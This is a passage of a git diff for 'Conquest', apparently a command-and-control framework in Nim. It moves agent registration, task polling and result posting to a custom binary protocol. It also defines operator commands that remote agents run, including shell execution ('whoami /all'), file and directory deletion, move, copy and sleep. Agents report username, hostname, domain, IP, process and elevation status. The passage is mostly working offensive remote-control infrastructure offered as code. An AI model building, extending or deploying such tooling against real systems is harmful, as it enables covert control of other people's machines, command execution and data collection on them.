result.data = unpacker.getBytes(4) + of LONG: + result.data = unpacker.getBytes(8) + of BOOL: + result.data = unpacker.getBytes(1) + else: + discard + +proc getVarLengthMetadata*(unpacker: Unpacker): string = + + # Read length of metadata field + let length = unpacker.getUint32() + + if length <= 0: + return "" + + # Read content + return unpacker.getBytes(int(length)).toString() \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim new file mode 100644 index 0000000..0a4ea79 --- /dev/null +++ b/src/common/types.nim @@ -0,0 +1,160 @@ +import prompt +import tables +import times +import streams + +# Custom Binary Task structure +const + MAGIC* = 0x514E3043'u32 # Magic value: C0NQ + VERSION* = 1'u8 # Version 1 + HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size + +type + PacketType* = enum + MSG_TASK = 0'u8 + MSG_RESPONSE = 1'u8 + MSG_REGISTER = 2'u8 + MSG_CHECKIN = 100'u8 + + ArgType* = enum + STRING = 0'u8 + INT = 1'u8 + LONG = 2'u8 + BOOL = 3'u8 + BINARY = 4'u8 + + HeaderFlags* = enum + # Flags should be powers of 2 so they can be connected with or operators + FLAG_PLAINTEXT = 0'u16 + FLAG_ENCRYPTED = 1'u16 + + CommandType* = enum + CMD_SLEEP = 0'u16 + CMD_SHELL = 1'u16 + CMD_PWD = 2'u16 + CMD_CD = 3'u16 + CMD_LS = 4'u16 + CMD_RM = 5'u16 + CMD_RMDIR = 6'u16 + CMD_MOVE = 7'u16 + CMD_COPY = 8'u16 + + StatusType* = enum + STATUS_COMPLETED = 0'u8 + STATUS_FAILED = 1'u8 + + ResultType* = enum + RESULT_STRING = 0'u8 + RESULT_BINARY = 1'u8 + RESULT_NO_OUTPUT = 2'u8 + + Header* = object + magic*: uint32 # [4 bytes ] magic value + version*: uint8 # [1 byte ] protocol version + packetType*: uint8 # [1 byte ] message type + flags*: uint16 # [2 bytes ] message flags + seqNr*: uint32 # [4 bytes ] sequence number / nonce + size*: uint32 # [4 bytes ] size of the payload body + hmac*: array[16, byte] # [16 bytes] hmac for message integrity + + TaskArg* = object + argType*: uint8 # [1 byte ] argument type + data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length) + + Task* = object + header*: Header + + taskId*: uint32 # [4 bytes ] task id + agentId*: uint32 # [4 bytes ] agent id + listenerId*: uint32 # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp + command*: uint16 # [2 bytes ] command id + argCount*: uint8 # [1 byte ] number of arguments + args*: seq[TaskArg] # variable length arguments + + TaskResult* = object + header*: Header + + taskId*: uint32 # [4 bytes ] task id + agentId*: uint32 # [4 bytes ] agent id + listenerId*: uint32 # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp + command*: uint16 # [2 bytes ] command id + status*: uint8 # [1 byte ] success flag + resultType*: uint8 # [1 byte ] result data type (string, binary) + length*: uint32 # [4 bytes ] result length + data*: seq[byte] # variable length result + +# Commands + Argument* = object + name*: string + description*: string + argumentType*: ArgType + isRequired*: bool + + Command* = object + name*: string + commandType*: CommandType + description*: string + example*: string + arguments*: seq[Argument] + dispatchMessage*: string + +# Agent structure +type + + # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data + AgentMetadata* = object + agentId*: uint32 + listenerId*: uint32 + username*: seq[byte] + hostname*: seq[byte] + domain*: seq[byte] + ip*: seq[byte] + os*: seq[byte] + process*: seq[byte] + pid*: uint32 + isElevated*: uint8 + sleep*: uint32 + + AgentRegistrationData* = object + header*: Header + # encMaterial*: seq[byte] # Encryption material for the agent registration + metadata*: AgentMetadata + + Agent* = ref object + agentId*: string + listenerId*: string + username*: string + hostname*: string + domain*: string + ip*: string + os*: string + process*: string + pid*: int + elevated*: bool + sleep*: int + jitter*: float + tasks*: seq[Task] + firstCheckin*: DateTime + latestCheckin*: DateTime + +# Listener structure +type + Protocol* = enum + HTTP = "http" + + Listener* = ref object + name*: string + address*: string + port*: int + protocol*: Protocol + +# Server structure +type + Conquest* = ref object + prompt*: Prompt + dbPath*: string + listeners*: Table[string, Listener] + agents*: Table[string, Agent] + interactAgent*: Agent \ No newline at end of file diff --git a/src/common/utils.nim b/src/common/utils.nim new file mode 100644 index 0000000..3aefb99 --- /dev/null +++ b/src/common/utils.nim @@ -0,0 +1,53 @@ +import strutils, sequtils, random, strformat + +proc generateUUID*(): string = + # Create a 4-byte HEX UUID string (8 characters) + (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join() + +proc uuidToUint32*(uuid: string): uint32 = + return fromHex[uint32](uuid) + +proc uuidToString*(uuid: uint32): string = + return uuid.toHex(8) + +proc toString*(data: seq[byte]): string = + result = newString(data.len) + for i, b in data: + result[i] = char(b) + +proc toBytes*(data: string): seq[byte] = + result = newSeq[byte](data.len) + for i, c in data: + result[i] = byte(c.ord) + +proc toUint32*(data: seq[byte]): uint32 = + if data.len != 4: + raise newException(ValueError, "Expected 4 bytes for uint32") + + return uint32(data[0]) or + (uint32(data[1]) shl 8) or + (uint32(data[2]) shl 16) or + (uint32(data[3]) shl 24) + +proc toHexDump*(data: seq[byte]): string = + for i, b in data: + result.add(b.toHex(2)) + if i < data.len - 1: + if (i + 1) mod 4 == 0: + result.add(" | ") # Add | every 4 bytes + else: + result.add(" ") # Regular space + +proc toBytes*(value: uint16): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF) + ] + +proc toBytes*(value: uint32): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF), + byte((value shr 16) and 0xFF), + byte((value shr 24) and 0xFF) + ] \ No newline at end of file diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index cd1e8f4..c1d7400 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -2,93 +2,105 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys import ../[utils, globals] import ../db/database -import ../../types +import ../task/packer +import ../../common/[types, utils] + +import sugar # Utility functions proc add*(cq: Conquest, agent: Agent) = - cq.agents[agent.name] = agent + cq.agents[agent.agentId] = agent #[ Agent API Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results ]# -proc register*(agent: Agent): bool = +proc register*(registrationData: seq[byte]): bool = # The following line is required to be able to use the `cq` global variable for console output {.cast(gcsafe).}: - # Check if listener that is requested exists - # TODO: Verify that the listener accessed is also the listener specified in the URL - # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database - if not cq.dbListenerExists(agent.listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") + let agent: Agent = deserializeNewAgent(registrationData) + + # Validate that listener exists + if not cq.dbListenerExists(agent.listenerId.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n") return false - # Store agent in database + # # Store agent in database if not cq.dbStoreAgent(agent): - cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") + cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.agentId} into database.", "\n") return false cq.add(agent) let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") + cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") return true -proc getTasks*(listener, agent: string): JsonNode = +proc getTasks*(listener, agent: string): seq[seq[byte]] = {.cast(gcsafe).}: + var result: seq[seq[byte]] + # Check if listener exists if not cq.dbListenerExists(listener.toUpperAscii): cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") - return nil + raise newException(ValueError, "Invalid listener.") # Check if agent exists if not cq.dbAgentExists(agent.toUpperAscii): cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") - return nil + raise newException(ValueError, "Invalid agent.") # Update the last check-in date for the accessed agent cq.agents[agent.toUpperAscii].latestCheckin = now() # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): # return nil - # Return tasks in JSON format - return %cq.agents[agent.toUpperAscii].tasks + # Return tasks + for task in cq.agents[agent.toUpperAscii].tasks: + let taskData = serializeTask(task) + result.add(taskData) + + return result -proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = +proc handleResult*(resultData: seq[byte]) = {.cast(gcsafe).}: + let + taskResult = deserializeTaskResult(resultData) + taskId = uuidToString(taskResult.taskId) + agentId = uuidToString(taskResult.agentId) + listenerId = uuidToString(taskResult.listenerId) + let date: string = now().format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.") - if taskResult.status == Failed: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.") + case cast[StatusType](taskResult.status): + of STATUS_COMPLETED: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.") - if taskResult.data != "": - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:") + of STATUS_FAILED: + cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.") + case cast[ResultType](taskResult.resultType): + of RESULT_STRING: + if int(taskResult.length) > 0: + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:") # Split result string on newline to keep formatting - for line in decode(taskResult.data).split("\n"): + for line in taskResult.data.toString().split("\n"): cq.writeLine(line) - else: - cq.writeLine() - else: - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.") - - if taskResult.data != "": - cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:") + of RESULT_BINARY: + # Write binary data to a file + cq.writeLine() - # Split result string on newline to keep formatting - for line in decode(taskResult.data).split("\n"): - cq.writeLine(line) - else: - cq.writeLine() + of RESULT_NO_OUTPUT: + cq.writeLine() # Update task queue to include all tasks, except the one that was just completed - cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) - - return \ No newline at end of file + cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) \ No newline at end of file diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 5128c64..0e0e55c 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -1,81 +1,73 @@ -import prologue, json -import sequtils, strutils, times +import prologue, json, terminal, strformat +import sequtils, strutils, times, base64 import ./handlers -import ../utils -import ../../types +import ../[utils, globals] +import ../../common/[types, utils] proc error404*(ctx: Context) {.async.} = resp "", Http404 #[ - POST /{listener-uuid}/register + POST /register Called from agent to register itself to the conquest server ]# proc register*(ctx: Context) {.async.} = # Check headers - # If POST data is not JSON data, return 404 error code - if ctx.request.contentType != "application/json": + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": resp "", Http404 return - # The JSON data for the agent registration has to be in the following format - #[ - { - "username": "username", - "hostname":"hostname", - "domain": "domain.local", - "ip": "ip-address", - "os": "operating-system", - "process": "agent.exe", - "pid": 1234, - "elevated": false. - "sleep": 10 - } - ]# - try: - let - postData: JsonNode = parseJson(ctx.request.body) - agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData) - agentUuid: string = generateUUID() - listenerUuid: string = ctx.getPathParams("listener") - date: DateTime = now() - - let agent: Agent = Agent( - name: agentUuid, - listener: listenerUuid, - username: agentRegistrationData.username, - hostname: agentRegistrationData.hostname, - domain: agentRegistrationData.domain, - process: agentRegistrationData.process, - pid: agentRegistrationData.pid, - ip: agentRegistrationData.ip, - os: agentRegistrationData.os, - elevated: agentRegistrationData.elevated, - sleep: agentRegistrationData.sleep, - jitter: 0.2, - tasks: @[], - firstCheckin: date, - latestCheckin: date - ) - - # Fully register agent and add it to database - if not agent.register(): - # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed - # Return a 404 error code either way - resp "", Http404 - return - - # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results - resp agent.name + let agentId = register(ctx.request.body.toBytes()) + resp "Ok", Http200 except CatchableError: - # JSON data is invalid or does not match the expected format (described above) resp "", Http404 - return + # try: + # let + # postData: JsonNode = parseJson(ctx.request.body) + # agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData) + # agentUuid: string = generateUUID() + # listenerUuid: string = ctx.getPathParams("listener") + # date: DateTime = now() + + # let agent: Agent = Agent( + # name: agentUuid, + # listener: listenerUuid, + # username: agentRegistrationData.username, + # hostname: agentRegistrationData.hostname, + # domain: agentRegistrationData.domain, + # process: agentRegistrationData.process, + # pid: agentRegistrationData.pid, + # ip: agentRegistrationData.ip, + # os: agentRegistrationData.os, + # elevated: agentRegistrationData.elevated, + # sleep: agentRegistrationData.sleep, + # jitter: 0.2, + # tasks: @[], + # firstCheckin: date, + # latestCheckin: date + # ) + + # # Fully register agent and add it to database + # if not agent.register(): + # # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed + # # Return a 404 error code either way + # resp "", Http404 + # return + + # # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results + # resp agent.name + + # except CatchableError: + # # JSON data is invalid or does not match the expected format (described above) + # resp "", Http404 + + # return #[ GET /{listener-uuid}/{agent-uuid}/tasks @@ -86,45 +78,52 @@ proc getTasks*(ctx: Context) {.async.} = let listener = ctx.getPathParams("listener") agent = ctx.getPathParams("agent") - - let tasksJson = getTasks(listener, agent) - - # If agent/listener is invalid, return a 404 Not Found error code - if tasksJson == nil: + + try: + var response: seq[byte] + let tasks: seq[seq[byte]] = getTasks(listener, agent) + + if tasks.len <= 0: + resp "", Http200 + return + + # Create response, containing number of tasks, as well as length and content of each task + # This makes it easier for the agent to parse the tasks + response.add(uint8(tasks.len)) + + for task in tasks: + response.add(uint32(task.len).toBytes()) + response.add(task) + + await ctx.respond( + code = Http200, + body = response.toString() + ) + + # Notify operator that agent collected tasks + {.cast(gcsafe).}: + let date = now().format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.") + + except CatchableError: resp "", Http404 - # Return all currently active tasks as a JsonObject - resp jsonResponse(tasksJson) - - #[ - POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results + POST /results Called from agent to post results of a task - ]# proc postResults*(ctx: Context) {.async.} = - let - listener = ctx.getPathParams("listener") - agent = ctx.getPathParams("agent") - task = ctx.getPathParams("task") - # Check headers - # If POST data is not JSON data, return 404 error code - if ctx.request.contentType != "application/json": + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": resp "", Http404 return try: - let - taskResultJson: JsonNode = parseJson(ctx.request.body) - taskResult: TaskResult = taskResultJson.to(TaskResult) - - # Handle and display task result - handleResult(listener, agent, task, taskResult) + handleResult(ctx.request.body.toBytes()) except CatchableError: - # JSON data is invalid or does not match the expected format (described above) resp "", Http404 return \ No newline at end of file diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index 2c8811b..ab03161 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -1,14 +1,14 @@ import terminal, strformat, strutils, tables, times, system, osproc, streams import ../utils -import ../task/handler +import ../task/dispatcher import ../db/database -import ../../types +import ../../common/[types, utils] # Utility functions proc addMultiple*(cq: Conquest, agents: seq[Agent]) = for a in agents: - cq.agents[a.name] = a + cq.agents[a.agentId] = a proc delAgent*(cq: Conquest, agentName: string) = cq.agents.del(agentName) @@ -65,8 +65,8 @@ proc agentInfo*(cq: Conquest, name: string) = # TODO: Improve formatting cq.writeLine(fmt""" -Agent name (UUID): {agent.name} -Connected to listener: {agent.listener} +Agent name (UUID): {agent.agentId} +Connected to listener: {agent.listenerId} ────────────────────────────────────────── Username: {agent.username} Hostname: {agent.hostname} @@ -113,9 +113,9 @@ proc agentInteract*(cq: Conquest, name: string) = var command: string = "" # Change prompt indicator to show agent interaction - cq.setIndicator(fmt"[{agent.name}]> ") + cq.setIndicator(fmt"[{agent.agentId}]> ") cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")]) - cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n") + cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n") cq.interactAgent = agent while command.replace(" ", "") != "back": diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 89ab282..f2174bc 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -4,7 +4,7 @@ import prologue import ../utils import ../api/routes import ../db/database -import ../../types +import ../../common/[types, utils] # Utility functions proc delListener(cq: Conquest, listenerName: string) = @@ -66,9 +66,9 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = var listener = newApp(settings = listenerSettings) # Define API endpoints - listener.post("{listener}/register", routes.register) + listener.post("register", routes.register) listener.get("{listener}/{agent}/tasks", routes.getTasks) - listener.post("{listener}/{agent}/{task}/results", routes.postResults) + listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) # Store listener in database @@ -99,9 +99,9 @@ proc restartListeners*(cq: Conquest) = listener = newApp(settings = settings) # Define API endpoints - listener.post("{listener}/register", routes.register) + listener.post("register", routes.register) listener.get("{listener}/{agent}/tasks", routes.getTasks) - listener.post("{listener}/{agent}/{task}/results", routes.postResults) + listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) try: diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 9b0eaee..ebfb89a 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables import ./[agent, listener] import ../[globals, utils] import ../db/database -import ../../types +import ../../common/[types, utils] #[ Argument parsing diff --git a/src/server/db/database.nim b/src/server/db/database.nim index 6460bfc..7981f62 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite import ./[dbAgent, dbListener] import ../utils -import ../../types +import ../../common/[types, utils] # Export functions so that only ./db/database is required to be imported export dbAgent, dbListener diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index dbaeba9..b51c84a 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -1,7 +1,7 @@ import system, terminal, tiny_sqlite, times import ../utils -import ../../types +import ../../common/[types, utils] #[ Agent database functions @@ -14,7 +14,7 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool = conquestDb.exec(""" INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); - """, agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) + """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")) conquestDb.close() except: @@ -31,11 +31,11 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"): - let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) + let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let a = Agent( - name: name, - listener: listener, + agentId: agentId, + listenerId: listenerId, sleep: sleep, pid: pid, username: username, @@ -66,11 +66,11 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] = let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName): - let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) + let (agentId, listenerId, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string)) let a = Agent( - name: name, - listener: listener, + agentId: agentId, + listenerId: listenerId, sleep: sleep, pid: pid, username: username, diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim index 547e599..4978e53 100644 --- a/src/server/db/dbListener.nim +++ b/src/server/db/dbListener.nim @@ -1,7 +1,7 @@ import system, terminal, tiny_sqlite import ../utils -import ../../types +import ../../common/[types, utils] # Utility functions proc stringToProtocol*(protocol: string): Protocol = diff --git a/src/server/globals.nim b/src/server/globals.nim index a00cb57..d1882f0 100644 --- a/src/server/globals.nim +++ b/src/server/globals.nim @@ -1,4 +1,4 @@ -import ../types +import ../common/[types, utils] # Global variable for handling listeners, agents and console output var cq*: Conquest \ No newline at end of file diff --git a/src/server/main.nim b/src/server/main.nim index efb3153..5ffcd1d 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,5 +1,6 @@ import random import core/server +import strutils # Conquest framework entry point when isMainModule: diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim index 290754d..d8ada0f 100644 --- a/src/server/task/dispatcher.nim +++ b/src/server/task/dispatcher.nim @@ -1,16 +1,187 @@ -import argparse, times, strformat, terminal, sequtils -import ../../types +import times, strformat, terminal, tables, json, sequtils, strutils +import ./[parser] import ../utils +import ../../common/[types, utils] -proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) = - let - date = now().format("dd-MM-yyyy HH:mm:ss") - task = Task( - id: generateUUID(), - agent: cq.interactAgent.name, - command: command, - args: args, - ) +proc initAgentCommands*(): Table[string, Command] = + var commands = initTable[string, Command]() + + commands["shell"] = Command( + name: "shell", + commandType: CMD_SHELL, + description: "Execute a shell command and retrieve the output.", + example: "shell whoami /all", + arguments: @[ + Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true), + Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false) + ] + ) + + commands["sleep"] = Command( + name: "sleep", + commandType: CMD_SLEEP, + description: "Update sleep delay configuration.", + example: "sleep 5", + arguments: @[ + Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) + ] + ) + + commands["pwd"] = Command( + name: "pwd", + commandType: CMD_PWD, + description: "Retrieve current working directory.", + example: "pwd", + arguments: @[] + ) + + commands["cd"] = Command( + name: "cd", + commandType: CMD_CD, + description: "Change current working directory.", + example: "cd C:\\Windows\\Tasks", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true) + ] + ) + + commands["ls"] = Command( + name: "ls", + commandType: CMD_LS, + description: "List files and directories.", + example: "ls C:\\Users\\Administrator\\Desktop", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false) + ] + ) + + commands["rm"] = Command( + name: "rm", + commandType: CMD_RM, + description: "Remove a file.", + example: "rm C:\\Windows\\Tasks\\payload.exe", + arguments: @[ + Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true) + ] + ) + + commands["rmdir"] = Command( + name: "rmdir", + commandType: CMD_RMDIR, + description: "Remove a directory.", + example: "rm C:\\Payloads", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true) + ] + ) + + commands["move"] = Command( + name: "move", + commandType: CMD_MOVE, + description: "Move a file or directory.", + example: "move source.exe C:\\Windows\\Tasks\\destination.exe", + arguments: @[ + Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), + Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + ] + ) + + commands["copy"] = Command( + name: "copy", + commandType: CMD_COPY, + description: "Copy a file or directory.", + example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", + arguments: @[ + Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), + Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + ] + ) + + return commands + +let commands = initAgentCommands() + +proc getCommandFromTable(input: string, commands: Table[string, Command]): Command = + try: + let command = commands[input] + return command + except ValueError: + raise newException(ValueError, fmt"The command '{input}' does not exist.") + +proc displayHelp(cq: Conquest, commands: Table[string, Command]) = + cq.writeLine("Available commands:") + cq.writeLine(" * back") + for key, cmd in commands: + cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}") + cq.writeLine() + +proc displayCommandHelp(cq: Conquest, command: Command) = + var usage = command.name & " " & command.arguments.mapIt( + if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]" + ).join(" ") + + if command.example != "": + usage &= "\nExample : " & command.example + + cq.writeLine(fmt""" +{command.description} + +Usage : {usage} +""") + + if command.arguments.len > 0: + cq.writeLine("Arguments:\n") + + let header = @["Name", "Type", "Required", "Description"] + cq.writeLine(fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}") + cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}") + + for arg in command.arguments: + let isRequired = if arg.isRequired: "YES" else: "NO" + cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}") + + cq.writeLine() + +proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) = + try: + # Try parsing the first argument passed to 'help' as a command + cq.displayCommandHelp(getCommandFromTable(parsed[1], commands)) + except IndexDefect: + # 'help' command is called without additional parameters + cq.displayHelp(commands) + except ValueError: + # Command was not found + cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n') + +proc handleAgentCommand*(cq: Conquest, input: string) = + # Return if no command (or just whitespace) is entered + if input.replace(" ", "").len == 0: return + + let date: string = now().format("dd-MM-yyyy HH:mm:ss") + cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.agentId}] ", resetStyle, styleBright, input) + + # Convert user input into sequence of string arguments + let parsedArgs = parseInput(input) - cq.interactAgent.tasks.add(task) - cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message) \ No newline at end of file + # Handle 'back' command + if parsedArgs[0] == "back": + return + + # Handle 'help' command + if parsedArgs[0] == "help": + cq.handleHelp(parsedArgs, commands) + return + + # Handle commands with actions on the agent + try: + let + command = getCommandFromTable(parsedArgs[0], commands) + task = cq.parseTask(command, parsedArgs[1..^1]) + + # Add task to queue + cq.interactAgent.tasks.add(task) + cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}") + + except CatchableError: + cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n") + return \ No newline at end of file diff --git a/src/server/task/handler.nim b/src/server/task/handler.nim deleted file mode 100644 index bbaa149..0000000 --- a/src/server/task/handler.nim +++ /dev/null @@ -1,185 +0,0 @@ -import times, strformat, terminal, tables, json, sequtils, strutils -import ./[parser, packer, dispatcher] -import ../utils -import ../../types - -proc initAgentCommands*(): Table[CommandType, Command] = - var commands = initTable[CommandType, Command]() - - commands[ExecuteShell] = Command( - name: "shell", - commandType: ExecuteShell, - description: "Execute a shell command and retrieve the output.", - example: "shell whoami /all", - arguments: @[ - Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true), - Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false) - ] - ) - - commands[Sleep] = Command( - name: "sleep", - commandType: Sleep, - description: "Update sleep delay configuration.", - example: "sleep 5", - arguments: @[ - Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true) - ] - ) - - commands[GetWorkingDirectory] = Command( - name: "pwd", - commandType: GetWorkingDirectory, - description: "Retrieve current working directory.", - example: "pwd", - arguments: @[] - ) - - commands[SetWorkingDirectory] = Command( - name: "cd", - commandType: SetWorkingDirectory, - description: "Change current working directory.", - example: "cd C:\\Windows\\Tasks", - arguments: @[ - Argument(name: "directory", 